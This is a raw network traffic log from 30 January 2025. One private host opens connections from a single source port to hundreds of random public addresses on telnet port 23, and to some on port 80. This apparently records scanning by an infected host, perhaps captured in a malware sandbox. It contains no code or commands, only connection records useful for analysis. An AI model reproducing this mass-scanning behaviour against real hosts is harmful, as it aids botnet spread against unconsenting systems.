Jan 30, 2025 10:43:03.185950994 CET	62855	80	192.168.2.14	72.146.85.82
Jan 30, 2025 10:43:03.185956955 CET	62855	80	192.168.2.14	48.123.214.252
Jan 30, 2025 10:43:03.185961008 CET	62855	80	192.168.2.14	126.129.4.206
Jan 30, 2025 10:43:03.185965061 CET	62855	80	192.168.2.14	32.20.162.132
Jan 30, 2025 10:43:03.185969114 CET	62855	80	192.168.2.14	53.116.253.212
Jan 30, 2025 10:43:03.185969114 CET	62855	80	192.168.2.14	97.108.228.156
Jan 30, 2025 10:43:03.185975075 CET	62855	80	192.168.2.14	168.52.165.248
Jan 30, 2025 10:43:03.185975075 CET	62855	80	192.168.2.14	101.65.14.93
Jan 30, 2025 10:43:03.185991049 CET	62855	80	192.168.2.14	25.202.110.7
Jan 30, 2025 10:43:03.185992956 CET	62855	80	192.168.2.14	144.97.75.36
Jan 30, 2025 10:43:03.187755108 CET	37215	51996	156.1.171.213	192.168.2.14
Jan 30, 2025 10:43:03.187767029 CET	37215	39394	156.140.48.212	192.168.2.14
Jan 30, 2025 10:43:03.187778950 CET	37215	42412	41.239.226.175	192.168.2.14
Jan 30, 2025 10:43:03.187793016 CET	37215	34680	156.153.93.40	192.168.2.14
Jan 30, 2025 10:43:03.189798117 CET	80	62855	161.25.237.43	192.168.2.14
Jan 30, 2025 10:43:03.189856052 CET	80	45382	71.52.157.180	192.168.2.14
Jan 30, 2025 10:43:03.189866066 CET	62855	80	192.168.2.14	161.25.237.43
Jan 30, 2025 10:43:03.189909935 CET	45382	80	192.168.2.14	71.52.157.180
Jan 30, 2025 10:43:03.191793919 CET	37215	35920	156.63.240.57	192.168.2.14
Jan 30, 2025 10:43:03.212487936 CET	80	38712	200.209.40.223	192.168.2.14
Jan 30, 2025 10:43:03.212616920 CET	38712	80	192.168.2.14	200.209.40.223
Jan 30, 2025 10:43:03.243277073 CET	51576	80	192.168.2.14	140.69.154.1
Jan 30, 2025 10:43:03.248169899 CET	80	51576	140.69.154.1	192.168.2.14
Jan 30, 2025 10:43:03.248275042 CET	51576	80	192.168.2.14	140.69.154.1
Jan 30, 2025 10:43:03.248373032 CET	51576	80	192.168.2.14	140.69.154.1
Jan 30, 2025 10:43:03.248899937 CET	45324	80	192.168.2.14	161.25.237.43
Jan 30, 2025 10:43:03.253447056 CET	80	51576	140.69.154.1	192.168.2.14
Jan 30, 2025 10:43:03.253504992 CET	51576	80	192.168.2.14	140.69.154.1
Jan 30, 2025 10:43:03.253714085 CET	80	45324	161.25.237.43	192.168.2.14
Jan 30, 2025 10:43:03.253776073 CET	45324	80	192.168.2.14	161.25.237.43
Jan 30, 2025 10:43:03.253829956 CET	45324	80	192.168.2.14	161.25.237.43
Jan 30, 2025 10:43:03.253829956 CET	45324	80	192.168.2.14	161.25.237.43
Jan 30, 2025 10:43:03.254159927 CET	45326	80	192.168.2.14	161.25.237.43
Jan 30, 2025 10:43:03.258656025 CET	80	45324	161.25.237.43	192.168.2.14
Jan 30, 2025 10:43:03.258965015 CET	80	45326	161.25.237.43	192.168.2.14
Jan 30, 2025 10:43:03.259040117 CET	45326	80	192.168.2.14	161.25.237.43
Jan 30, 2025 10:43:03.259063005 CET	45326	80	192.168.2.14	161.25.237.43
Jan 30, 2025 10:43:03.264043093 CET	80	45326	161.25.237.43	192.168.2.14
Jan 30, 2025 10:43:03.264106989 CET	45326	80	192.168.2.14	161.25.237.43
Jan 30, 2025 10:43:03.303769112 CET	80	45324	161.25.237.43	192.168.2.14
Jan 30, 2025 10:43:03.307272911 CET	41348	80	192.168.2.14	64.30.33.55
Jan 30, 2025 10:43:03.307280064 CET	37382	80	192.168.2.14	66.84.50.216
Jan 30, 2025 10:43:03.312417984 CET	80	41348	64.30.33.55	192.168.2.14
Jan 30, 2025 10:43:03.312428951 CET	80	37382	66.84.50.216	192.168.2.14
Jan 30, 2025 10:43:03.312515974 CET	41348	80	192.168.2.14	64.30.33.55
Jan 30, 2025 10:43:03.312526941 CET	37382	80	192.168.2.14	66.84.50.216
Jan 30, 2025 10:43:03.312644958 CET	41348	80	192.168.2.14	64.30.33.55
Jan 30, 2025 10:43:03.312661886 CET	37382	80	192.168.2.14	66.84.50.216
Jan 30, 2025 10:43:03.318358898 CET	80	41348	64.30.33.55	192.168.2.14
Jan 30, 2025 10:43:03.318427086 CET	80	37382	66.84.50.216	192.168.2.14
Jan 30, 2025 10:43:03.318428040 CET	41348	80	192.168.2.14	64.30.33.55
Jan 30, 2025 10:43:03.318478107 CET	37382	80	192.168.2.14	66.84.50.216
Jan 30, 2025 10:43:03.385416985 CET	63367	23	192.168.2.14	46.74.206.95
Jan 30, 2025 10:43:03.385418892 CET	63367	23	192.168.2.14	146.15.169.166
Jan 30, 2025 10:43:03.385416985 CET	63367	23	192.168.2.14	88.45.15.84
Jan 30, 2025 10:43:03.385416985 CET	63367	23	192.168.2.14	182.140.62.139
Jan 30, 2025 10:43:03.385416985 CET	63367	23	192.168.2.14	94.150.223.3
Jan 30, 2025 10:43:03.385418892 CET	63367	23	192.168.2.14	97.194.204.147
Jan 30, 2025 10:43:03.385442019 CET	63367	23	192.168.2.14	125.123.164.107
Jan 30, 2025 10:43:03.385442019 CET	63367	23	192.168.2.14	168.123.160.4
Jan 30, 2025 10:43:03.385442019 CET	63367	23	192.168.2.14	188.83.9.201
Jan 30, 2025 10:43:03.385443926 CET	63367	23	192.168.2.14	156.153.50.95
Jan 30, 2025 10:43:03.385443926 CET	63367	23	192.168.2.14	168.193.129.140
Jan 30, 2025 10:43:03.385447025 CET	63367	23	192.168.2.14	170.255.89.39
Jan 30, 2025 10:43:03.385447025 CET	63367	23	192.168.2.14	13.72.126.28
Jan 30, 2025 10:43:03.385447979 CET	63367	23	192.168.2.14	14.47.191.140
Jan 30, 2025 10:43:03.385485888 CET	63367	23	192.168.2.14	36.192.29.235
Jan 30, 2025 10:43:03.385485888 CET	63367	23	192.168.2.14	165.215.245.182
Jan 30, 2025 10:43:03.385485888 CET	63367	23	192.168.2.14	200.212.12.7
Jan 30, 2025 10:43:03.385485888 CET	63367	23	192.168.2.14	190.232.84.200
Jan 30, 2025 10:43:03.385485888 CET	63367	23	192.168.2.14	41.6.42.161
Jan 30, 2025 10:43:03.385493040 CET	63367	23	192.168.2.14	102.90.31.97
Jan 30, 2025 10:43:03.385493040 CET	63367	23	192.168.2.14	27.88.68.40
Jan 30, 2025 10:43:03.385493040 CET	63367	23	192.168.2.14	141.251.172.220
Jan 30, 2025 10:43:03.385493994 CET	63367	23	192.168.2.14	136.182.182.145
Jan 30, 2025 10:43:03.385493040 CET	63367	23	192.168.2.14	192.148.213.222
Jan 30, 2025 10:43:03.385493994 CET	63367	23	192.168.2.14	48.9.80.178
Jan 30, 2025 10:43:03.385499954 CET	63367	23	192.168.2.14	64.123.206.67
Jan 30, 2025 10:43:03.385505915 CET	63367	23	192.168.2.14	80.228.224.45
Jan 30, 2025 10:43:03.385513067 CET	63367	23	192.168.2.14	70.94.176.142
Jan 30, 2025 10:43:03.385516882 CET	63367	23	192.168.2.14	125.43.17.106
Jan 30, 2025 10:43:03.385521889 CET	63367	23	192.168.2.14	83.251.225.121
Jan 30, 2025 10:43:03.385530949 CET	63367	23	192.168.2.14	5.133.23.22
Jan 30, 2025 10:43:03.385544062 CET	63367	23	192.168.2.14	178.73.107.222
Jan 30, 2025 10:43:03.385544062 CET	63367	23	192.168.2.14	63.20.48.107
Jan 30, 2025 10:43:03.385545969 CET	63367	23	192.168.2.14	76.218.142.196
Jan 30, 2025 10:43:03.385545969 CET	63367	23	192.168.2.14	142.246.3.216
Jan 30, 2025 10:43:03.385562897 CET	63367	23	192.168.2.14	209.36.233.228
Jan 30, 2025 10:43:03.385566950 CET	63367	23	192.168.2.14	104.106.244.230
Jan 30, 2025 10:43:03.385566950 CET	63367	23	192.168.2.14	64.95.118.246
Jan 30, 2025 10:43:03.385567904 CET	63367	23	192.168.2.14	77.32.27.101
Jan 30, 2025 10:43:03.385579109 CET	63367	23	192.168.2.14	129.121.139.237
Jan 30, 2025 10:43:03.385586977 CET	63367	23	192.168.2.14	121.227.227.155
Jan 30, 2025 10:43:03.385588884 CET	63367	23	192.168.2.14	83.200.198.130
Jan 30, 2025 10:43:03.385588884 CET	63367	23	192.168.2.14	162.141.55.60
Jan 30, 2025 10:43:03.385605097 CET	63367	23	192.168.2.14	59.110.122.3
Jan 30, 2025 10:43:03.385607004 CET	63367	23	192.168.2.14	1.153.83.83
Jan 30, 2025 10:43:03.385607958 CET	63367	23	192.168.2.14	32.48.70.97
Jan 30, 2025 10:43:03.385623932 CET	63367	23	192.168.2.14	110.32.7.5
Jan 30, 2025 10:43:03.385626078 CET	63367	23	192.168.2.14	184.76.43.231
Jan 30, 2025 10:43:03.385627031 CET	63367	23	192.168.2.14	130.193.190.8
Jan 30, 2025 10:43:03.385631084 CET	63367	23	192.168.2.14	147.227.131.136
Jan 30, 2025 10:43:03.385632992 CET	63367	23	192.168.2.14	167.149.136.200
Jan 30, 2025 10:43:03.385634899 CET	63367	23	192.168.2.14	9.6.63.118
Jan 30, 2025 10:43:03.385642052 CET	63367	23	192.168.2.14	152.224.11.24
Jan 30, 2025 10:43:03.385658979 CET	63367	23	192.168.2.14	123.85.66.156
Jan 30, 2025 10:43:03.385658979 CET	63367	23	192.168.2.14	95.155.206.151
Jan 30, 2025 10:43:03.385663986 CET	63367	23	192.168.2.14	178.233.127.12
Jan 30, 2025 10:43:03.385658979 CET	63367	23	192.168.2.14	44.242.167.89
Jan 30, 2025 10:43:03.385673046 CET	63367	23	192.168.2.14	160.200.137.116
Jan 30, 2025 10:43:03.385684013 CET	63367	23	192.168.2.14	163.39.139.141
Jan 30, 2025 10:43:03.385687113 CET	63367	23	192.168.2.14	80.47.38.37
Jan 30, 2025 10:43:03.385687113 CET	63367	23	192.168.2.14	44.89.62.175
Jan 30, 2025 10:43:03.385688066 CET	63367	23	192.168.2.14	194.252.94.125
Jan 30, 2025 10:43:03.385687113 CET	63367	23	192.168.2.14	37.171.33.111
Jan 30, 2025 10:43:03.385698080 CET	63367	23	192.168.2.14	34.61.143.119
Jan 30, 2025 10:43:03.385704994 CET	63367	23	192.168.2.14	115.7.227.33
Jan 30, 2025 10:43:03.385708094 CET	63367	23	192.168.2.14	106.51.179.57
Jan 30, 2025 10:43:03.385714054 CET	63367	23	192.168.2.14	159.161.226.214
Jan 30, 2025 10:43:03.385725975 CET	63367	23	192.168.2.14	35.139.48.134
Jan 30, 2025 10:43:03.385726929 CET	63367	23	192.168.2.14	152.27.182.23
Jan 30, 2025 10:43:03.385735989 CET	63367	23	192.168.2.14	179.118.52.0
Jan 30, 2025 10:43:03.385735989 CET	63367	23	192.168.2.14	195.34.76.174
Jan 30, 2025 10:43:03.385746002 CET	63367	23	192.168.2.14	27.138.102.100
Jan 30, 2025 10:43:03.385747910 CET	63367	23	192.168.2.14	59.197.41.57
Jan 30, 2025 10:43:03.385751009 CET	63367	23	192.168.2.14	88.153.6.137
Jan 30, 2025 10:43:03.385754108 CET	63367	23	192.168.2.14	133.179.137.51
Jan 30, 2025 10:43:03.385771036 CET	63367	23	192.168.2.14	113.208.217.192
Jan 30, 2025 10:43:03.385771036 CET	63367	23	192.168.2.14	88.238.88.63
Jan 30, 2025 10:43:03.385773897 CET	63367	23	192.168.2.14	91.180.103.155
Jan 30, 2025 10:43:03.385773897 CET	63367	23	192.168.2.14	61.59.33.12
Jan 30, 2025 10:43:03.385782003 CET	63367	23	192.168.2.14	150.251.211.41
Jan 30, 2025 10:43:03.385787964 CET	63367	23	192.168.2.14	155.183.239.74
Jan 30, 2025 10:43:03.385787964 CET	63367	23	192.168.2.14	180.79.210.197
Jan 30, 2025 10:43:03.385798931 CET	63367	23	192.168.2.14	173.224.30.107
Jan 30, 2025 10:43:03.385798931 CET	63367	23	192.168.2.14	14.171.121.125
Jan 30, 2025 10:43:03.385806084 CET	63367	23	192.168.2.14	103.226.71.1
Jan 30, 2025 10:43:03.385814905 CET	63367	23	192.168.2.14	203.43.2.148
Jan 30, 2025 10:43:03.385817051 CET	63367	23	192.168.2.14	74.95.164.142
Jan 30, 2025 10:43:03.385823965 CET	63367	23	192.168.2.14	14.143.134.91
Jan 30, 2025 10:43:03.385829926 CET	63367	23	192.168.2.14	135.12.240.205
Jan 30, 2025 10:43:03.385829926 CET	63367	23	192.168.2.14	19.52.245.66
Jan 30, 2025 10:43:03.385842085 CET	63367	23	192.168.2.14	124.86.210.124
Jan 30, 2025 10:43:03.385849953 CET	63367	23	192.168.2.14	80.8.134.155
Jan 30, 2025 10:43:03.385852098 CET	63367	23	192.168.2.14	40.222.235.27
Jan 30, 2025 10:43:03.385868073 CET	63367	23	192.168.2.14	73.252.244.7
Jan 30, 2025 10:43:03.385869026 CET	63367	23	192.168.2.14	119.219.160.151
Jan 30, 2025 10:43:03.385870934 CET	63367	23	192.168.2.14	37.10.197.255
Jan 30, 2025 10:43:03.385874987 CET	63367	23	192.168.2.14	5.113.212.70
Jan 30, 2025 10:43:03.385875940 CET	63367	23	192.168.2.14	85.225.163.6
Jan 30, 2025 10:43:03.385878086 CET	63367	23	192.168.2.14	171.190.18.43
Jan 30, 2025 10:43:03.385879040 CET	63367	23	192.168.2.14	63.101.151.234
Jan 30, 2025 10:43:03.385886908 CET	63367	23	192.168.2.14	138.33.102.204
Jan 30, 2025 10:43:03.385896921 CET	63367	23	192.168.2.14	151.243.235.228
Jan 30, 2025 10:43:03.385901928 CET	63367	23	192.168.2.14	106.71.34.63
Jan 30, 2025 10:43:03.385904074 CET	63367	23	192.168.2.14	186.156.188.146
Jan 30, 2025 10:43:03.385904074 CET	63367	23	192.168.2.14	40.137.194.227
Jan 30, 2025 10:43:03.385915041 CET	63367	23	192.168.2.14	119.171.126.190
Jan 30, 2025 10:43:03.385915041 CET	63367	23	192.168.2.14	151.141.176.172
Jan 30, 2025 10:43:03.385925055 CET	63367	23	192.168.2.14	162.241.61.242
Jan 30, 2025 10:43:03.385935068 CET	63367	23	192.168.2.14	107.226.153.158
Jan 30, 2025 10:43:03.385936022 CET	63367	23	192.168.2.14	133.25.43.31
Jan 30, 2025 10:43:03.385948896 CET	63367	23	192.168.2.14	145.11.194.166
Jan 30, 2025 10:43:03.385948896 CET	63367	23	192.168.2.14	50.14.62.42
Jan 30, 2025 10:43:03.385966063 CET	63367	23	192.168.2.14	83.124.26.37
Jan 30, 2025 10:43:03.385967970 CET	63367	23	192.168.2.14	60.224.254.211
Jan 30, 2025 10:43:03.385970116 CET	63367	23	192.168.2.14	194.244.35.100
Jan 30, 2025 10:43:03.385983944 CET	63367	23	192.168.2.14	20.49.109.167
Jan 30, 2025 10:43:03.385983944 CET	63367	23	192.168.2.14	208.58.173.103
Jan 30, 2025 10:43:03.385986090 CET	63367	23	192.168.2.14	206.194.239.172
Jan 30, 2025 10:43:03.385997057 CET	63367	23	192.168.2.14	101.4.41.199
Jan 30, 2025 10:43:03.385997057 CET	63367	23	192.168.2.14	114.165.13.231
Jan 30, 2025 10:43:03.385998011 CET	63367	23	192.168.2.14	174.158.11.58
Jan 30, 2025 10:43:03.386002064 CET	63367	23	192.168.2.14	85.135.29.183
Jan 30, 2025 10:43:03.386004925 CET	63367	23	192.168.2.14	90.109.185.17
Jan 30, 2025 10:43:03.386017084 CET	63367	23	192.168.2.14	4.236.88.251
Jan 30, 2025 10:43:03.386022091 CET	63367	23	192.168.2.14	112.211.183.230
Jan 30, 2025 10:43:03.386022091 CET	63367	23	192.168.2.14	141.254.223.119
Jan 30, 2025 10:43:03.386032104 CET	63367	23	192.168.2.14	110.145.188.108
Jan 30, 2025 10:43:03.386039019 CET	63367	23	192.168.2.14	52.206.24.48
Jan 30, 2025 10:43:03.386039019 CET	63367	23	192.168.2.14	88.208.90.203
Jan 30, 2025 10:43:03.386053085 CET	63367	23	192.168.2.14	219.40.199.53
Jan 30, 2025 10:43:03.386053085 CET	63367	23	192.168.2.14	25.234.140.42
Jan 30, 2025 10:43:03.386060953 CET	63367	23	192.168.2.14	76.113.127.209
Jan 30, 2025 10:43:03.386073112 CET	63367	23	192.168.2.14	208.123.58.182
Jan 30, 2025 10:43:03.386073112 CET	63367	23	192.168.2.14	178.133.189.45
Jan 30, 2025 10:43:03.386079073 CET	63367	23	192.168.2.14	189.250.229.92
Jan 30, 2025 10:43:03.386080980 CET	63367	23	192.168.2.14	24.215.127.59
Jan 30, 2025 10:43:03.386096954 CET	63367	23	192.168.2.14	44.237.34.120
Jan 30, 2025 10:43:03.386101961 CET	63367	23	192.168.2.14	212.179.131.171
Jan 30, 2025 10:43:03.386101961 CET	63367	23	192.168.2.14	142.213.180.193
Jan 30, 2025 10:43:03.386111021 CET	63367	23	192.168.2.14	4.132.125.162
Jan 30, 2025 10:43:03.386122942 CET	63367	23	192.168.2.14	133.188.191.75
Jan 30, 2025 10:43:03.386125088 CET	63367	23	192.168.2.14	166.107.184.47
Jan 30, 2025 10:43:03.386126041 CET	63367	23	192.168.2.14	85.139.193.41
Jan 30, 2025 10:43:03.386140108 CET	63367	23	192.168.2.14	211.43.97.162
Jan 30, 2025 10:43:03.386146069 CET	63367	23	192.168.2.14	199.70.54.112
Jan 30, 2025 10:43:03.386147976 CET	63367	23	192.168.2.14	77.160.20.235
Jan 30, 2025 10:43:03.386157036 CET	63367	23	192.168.2.14	167.198.216.4
Jan 30, 2025 10:43:03.386162043 CET	63367	23	192.168.2.14	41.210.66.89
Jan 30, 2025 10:43:03.386162996 CET	63367	23	192.168.2.14	113.171.5.198
Jan 30, 2025 10:43:03.386176109 CET	63367	23	192.168.2.14	102.163.108.66
Jan 30, 2025 10:43:03.386178017 CET	63367	23	192.168.2.14	83.51.248.248
Jan 30, 2025 10:43:03.386188030 CET	63367	23	192.168.2.14	208.71.96.2
Jan 30, 2025 10:43:03.386188984 CET	63367	23	192.168.2.14	185.170.17.175
Jan 30, 2025 10:43:03.386195898 CET	63367	23	192.168.2.14	194.98.224.202
Jan 30, 2025 10:43:03.386198997 CET	63367	23	192.168.2.14	167.47.143.153
Jan 30, 2025 10:43:03.386209965 CET	63367	23	192.168.2.14	108.161.37.15
Jan 30, 2025 10:43:03.386213064 CET	63367	23	192.168.2.14	104.167.200.146
Jan 30, 2025 10:43:03.386218071 CET	63367	23	192.168.2.14	92.147.67.173
Jan 30, 2025 10:43:03.386229038 CET	63367	23	192.168.2.14	177.10.134.135
Jan 30, 2025 10:43:03.386231899 CET	63367	23	192.168.2.14	104.23.225.142
Jan 30, 2025 10:43:03.386231899 CET	63367	23	192.168.2.14	188.240.55.127
Jan 30, 2025 10:43:03.386240959 CET	63367	23	192.168.2.14	122.165.197.139
Jan 30, 2025 10:43:03.386248112 CET	63367	23	192.168.2.14	123.10.117.30
Jan 30, 2025 10:43:03.386248112 CET	63367	23	192.168.2.14	25.70.171.120
Jan 30, 2025 10:43:03.386262894 CET	63367	23	192.168.2.14	195.58.71.45
Jan 30, 2025 10:43:03.386276960 CET	63367	23	192.168.2.14	186.15.241.234
Jan 30, 2025 10:43:03.386277914 CET	63367	23	192.168.2.14	1.182.102.20
Jan 30, 2025 10:43:03.386279106 CET	63367	23	192.168.2.14	181.28.175.45
Jan 30, 2025 10:43:03.386280060 CET	63367	23	192.168.2.14	92.44.52.188
Jan 30, 2025 10:43:03.386281967 CET	63367	23	192.168.2.14	146.108.127.38
Jan 30, 2025 10:43:03.386286020 CET	63367	23	192.168.2.14	87.38.2.22
Jan 30, 2025 10:43:03.386297941 CET	63367	23	192.168.2.14	169.149.152.217
Jan 30, 2025 10:43:03.386301041 CET	63367	23	192.168.2.14	76.240.68.51
Jan 30, 2025 10:43:03.386303902 CET	63367	23	192.168.2.14	18.114.94.114
Jan 30, 2025 10:43:03.386307001 CET	63367	23	192.168.2.14	75.134.128.19
Jan 30, 2025 10:43:03.386310101 CET	63367	23	192.168.2.14	159.220.52.80
Jan 30, 2025 10:43:03.386326075 CET	63367	23	192.168.2.14	31.235.253.38
Jan 30, 2025 10:43:03.386327982 CET	63367	23	192.168.2.14	38.139.84.3
Jan 30, 2025 10:43:03.386329889 CET	63367	23	192.168.2.14	74.27.20.26
Jan 30, 2025 10:43:03.386337042 CET	63367	23	192.168.2.14	88.138.83.231
Jan 30, 2025 10:43:03.386337042 CET	63367	23	192.168.2.14	145.12.62.21
Jan 30, 2025 10:43:03.386337042 CET	63367	23	192.168.2.14	203.160.96.21
Jan 30, 2025 10:43:03.386337042 CET	63367	23	192.168.2.14	111.249.118.14
Jan 30, 2025 10:43:03.386337042 CET	63367	23	192.168.2.14	62.167.33.11
Jan 30, 2025 10:43:03.386342049 CET	63367	23	192.168.2.14	114.170.249.225
Jan 30, 2025 10:43:03.386347055 CET	63367	23	192.168.2.14	220.149.60.111
Jan 30, 2025 10:43:03.386351109 CET	63367	23	192.168.2.14	186.167.167.211
Jan 30, 2025 10:43:03.386351109 CET	63367	23	192.168.2.14	141.146.248.203
Jan 30, 2025 10:43:03.386365891 CET	63367	23	192.168.2.14	205.18.161.188
Jan 30, 2025 10:43:03.386370897 CET	63367	23	192.168.2.14	38.103.153.248
Jan 30, 2025 10:43:03.386372089 CET	63367	23	192.168.2.14	47.232.233.235
Jan 30, 2025 10:43:03.386382103 CET	63367	23	192.168.2.14	44.143.191.168
Jan 30, 2025 10:43:03.386384964 CET	63367	23	192.168.2.14	207.23.236.102
Jan 30, 2025 10:43:03.386388063 CET	63367	23	192.168.2.14	27.126.52.244
Jan 30, 2025 10:43:03.386390924 CET	63367	23	192.168.2.14	155.116.86.99
Jan 30, 2025 10:43:03.386401892 CET	63367	23	192.168.2.14	86.124.148.1
Jan 30, 2025 10:43:03.386403084 CET	63367	23	192.168.2.14	140.159.239.166
Jan 30, 2025 10:43:03.386411905 CET	63367	23	192.168.2.14	148.8.59.173
Jan 30, 2025 10:43:03.386420012 CET	63367	23	192.168.2.14	126.88.117.40
Jan 30, 2025 10:43:03.386423111 CET	63367	23	192.168.2.14	39.76.205.239
Jan 30, 2025 10:43:03.386445999 CET	63367	23	192.168.2.14	103.68.128.116
Jan 30, 2025 10:43:03.386447906 CET	63367	23	192.168.2.14	219.119.122.185
Jan 30, 2025 10:43:03.386447906 CET	63367	23	192.168.2.14	25.26.172.202
Jan 30, 2025 10:43:03.386447906 CET	63367	23	192.168.2.14	24.238.147.102
Jan 30, 2025 10:43:03.386451960 CET	63367	23	192.168.2.14	173.232.97.127
Jan 30, 2025 10:43:03.386454105 CET	63367	23	192.168.2.14	222.202.249.121
Jan 30, 2025 10:43:03.386460066 CET	63367	23	192.168.2.14	183.182.28.161
Jan 30, 2025 10:43:03.386470079 CET	63367	23	192.168.2.14	156.163.181.116
Jan 30, 2025 10:43:03.386471987 CET	63367	23	192.168.2.14	161.243.177.91
Jan 30, 2025 10:43:03.386476040 CET	63367	23	192.168.2.14	123.151.182.40
Jan 30, 2025 10:43:03.386480093 CET	63367	23	192.168.2.14	190.115.80.1
Jan 30, 2025 10:43:03.386499882 CET	63367	23	192.168.2.14	74.23.19.207
Jan 30, 2025 10:43:03.386499882 CET	63367	23	192.168.2.14	122.228.52.107
Jan 30, 2025 10:43:03.386501074 CET	63367	23	192.168.2.14	199.39.194.207
Jan 30, 2025 10:43:03.386501074 CET	63367	23	192.168.2.14	35.248.107.191
Jan 30, 2025 10:43:03.386502028 CET	63367	23	192.168.2.14	69.68.247.12
Jan 30, 2025 10:43:03.386502028 CET	63367	23	192.168.2.14	59.236.1.20
Jan 30, 2025 10:43:03.386502028 CET	63367	23	192.168.2.14	1.234.98.34
Jan 30, 2025 10:43:03.386506081 CET	63367	23	192.168.2.14	44.141.27.142
Jan 30, 2025 10:43:03.386507034 CET	63367	23	192.168.2.14	223.148.193.230
Jan 30, 2025 10:43:03.386507034 CET	63367	23	192.168.2.14	123.200.137.177
Jan 30, 2025 10:43:03.386507988 CET	63367	23	192.168.2.14	184.250.233.12
Jan 30, 2025 10:43:03.386507988 CET	63367	23	192.168.2.14	107.75.185.175
Jan 30, 2025 10:43:03.386518002 CET	63367	23	192.168.2.14	78.74.14.93
Jan 30, 2025 10:43:03.386518955 CET	63367	23	192.168.2.14	45.62.31.118
Jan 30, 2025 10:43:03.386519909 CET	63367	23	192.168.2.14	5.191.36.212
Jan 30, 2025 10:43:03.386528015 CET	63367	23	192.168.2.14	40.248.113.96
Jan 30, 2025 10:43:03.386529922 CET	63367	23	192.168.2.14	84.113.22.219
Jan 30, 2025 10:43:03.386534929 CET	63367	23	192.168.2.14	34.75.172.141
Jan 30, 2025 10:43:03.386543989 CET	63367	23	192.168.2.14	119.232.108.22
Jan 30, 2025 10:43:03.386550903 CET	63367	23	192.168.2.14	195.250.2.1
Jan 30, 2025 10:43:03.386564016 CET	63367	23	192.168.2.14	9.249.46.203
Jan 30, 2025 10:43:03.386569023 CET	63367	23	192.168.2.14	206.34.12.115
Jan 30, 2025 10:43:03.386574030 CET	63367	23	192.168.2.14	95.24.147.241
Jan 30, 2025 10:43:03.386580944 CET	63367	23	192.168.2.14	162.201.159.116
Jan 30, 2025 10:43:03.386580944 CET	63367	23	192.168.2.14	141.118.221.182
Jan 30, 2025 10:43:03.386580944 CET	63367	23	192.168.2.14	167.48.217.26
Jan 30, 2025 10:43:03.386594057 CET	63367	23	192.168.2.14	61.81.141.251
Jan 30, 2025 10:43:03.386595011 CET	63367	23	192.168.2.14	86.50.188.172
Jan 30, 2025 10:43:03.386596918 CET	63367	23	192.168.2.14	1.91.201.230
Jan 30, 2025 10:43:03.386596918 CET	63367	23	192.168.2.14	154.71.10.5
Jan 30, 2025 10:43:03.386606932 CET	63367	23	192.168.2.14	204.201.187.124
Jan 30, 2025 10:43:03.386610031 CET	63367	23	192.168.2.14	38.54.254.99
Jan 30, 2025 10:43:03.386612892 CET	63367	23	192.168.2.14	186.223.160.21
Jan 30, 2025 10:43:03.386620998 CET	63367	23	192.168.2.14	149.54.70.18
Jan 30, 2025 10:43:03.386626959 CET	63367	23	192.168.2.14	37.228.74.255
Jan 30, 2025 10:43:03.386640072 CET	63367	23	192.168.2.14	79.149.190.90
Jan 30, 2025 10:43:03.386641026 CET	63367	23	192.168.2.14	167.39.4.176
Jan 30, 2025 10:43:03.386657000 CET	63367	23	192.168.2.14	149.158.141.212
Jan 30, 2025 10:43:03.386661053 CET	63367	23	192.168.2.14	9.188.100.24
Jan 30, 2025 10:43:03.386662960 CET	63367	23	192.168.2.14	75.112.53.173
Jan 30, 2025 10:43:03.386663914 CET	63367	23	192.168.2.14	31.92.252.4
Jan 30, 2025 10:43:03.386663914 CET	63367	23	192.168.2.14	38.230.94.59
Jan 30, 2025 10:43:03.386662960 CET	63367	23	192.168.2.14	207.189.31.120
Jan 30, 2025 10:43:03.386672020 CET	63367	23	192.168.2.14	39.185.172.227
Jan 30, 2025 10:43:03.386672974 CET	63367	23	192.168.2.14	102.60.201.249
Jan 30, 2025 10:43:03.386672974 CET	63367	23	192.168.2.14	218.160.180.82
Jan 30, 2025 10:43:03.386673927 CET	63367	23	192.168.2.14	78.24.91.202
Jan 30, 2025 10:43:03.386672974 CET	63367	23	192.168.2.14	204.96.186.245
Jan 30, 2025 10:43:03.386676073 CET	63367	23	192.168.2.14	173.55.221.242
Jan 30, 2025 10:43:03.386676073 CET	63367	23	192.168.2.14	58.144.211.51
Jan 30, 2025 10:43:03.386681080 CET	63367	23	192.168.2.14	183.178.65.165
Jan 30, 2025 10:43:03.386684895 CET	63367	23	192.168.2.14	145.249.232.177
Jan 30, 2025 10:43:03.386686087 CET	63367	23	192.168.2.14	92.25.228.66
Jan 30, 2025 10:43:03.386686087 CET	63367	23	192.168.2.14	1.40.115.40
Jan 30, 2025 10:43:03.386689901 CET	63367	23	192.168.2.14	161.105.18.98
Jan 30, 2025 10:43:03.386693001 CET	63367	23	192.168.2.14	42.10.173.102
Jan 30, 2025 10:43:03.386697054 CET	63367	23	192.168.2.14	62.182.155.6
Jan 30, 2025 10:43:03.386707067 CET	63367	23	192.168.2.14	80.27.81.231
Jan 30, 2025 10:43:03.386709929 CET	63367	23	192.168.2.14	169.31.46.188
Jan 30, 2025 10:43:03.386720896 CET	63367	23	192.168.2.14	195.244.243.180
Jan 30, 2025 10:43:03.386724949 CET	63367	23	192.168.2.14	39.135.11.236
Jan 30, 2025 10:43:03.386728048 CET	63367	23	192.168.2.14	77.62.241.156
Jan 30, 2025 10:43:03.386740923 CET	63367	23	192.168.2.14	136.156.87.110
Jan 30, 2025 10:43:03.386740923 CET	63367	23	192.168.2.14	178.110.7.205
Jan 30, 2025 10:43:03.386742115 CET	63367	23	192.168.2.14	84.184.56.159
Jan 30, 2025 10:43:03.386743069 CET	63367	23	192.168.2.14	165.196.99.97
Jan 30, 2025 10:43:03.386746883 CET	63367	23	192.168.2.14	136.241.163.229
Jan 30, 2025 10:43:03.386763096 CET	63367	23	192.168.2.14	187.75.118.150
Jan 30, 2025 10:43:03.386769056 CET	63367	23	192.168.2.14	107.148.42.70
Jan 30, 2025 10:43:03.386770010 CET	63367	23	192.168.2.14	19.70.20.78
Jan 30, 2025 10:43:03.386770010 CET	63367	23	192.168.2.14	163.251.94.44
Jan 30, 2025 10:43:03.386773109 CET	63367	23	192.168.2.14	128.240.54.225
Jan 30, 2025 10:43:03.386775017 CET	63367	23	192.168.2.14	36.181.139.75
Jan 30, 2025 10:43:03.386786938 CET	63367	23	192.168.2.14	32.222.15.39
Jan 30, 2025 10:43:03.386786938 CET	63367	23	192.168.2.14	1.145.145.83
Jan 30, 2025 10:43:03.386797905 CET	63367	23	192.168.2.14	87.205.122.10
Jan 30, 2025 10:43:03.386809111 CET	63367	23	192.168.2.14	63.138.72.156
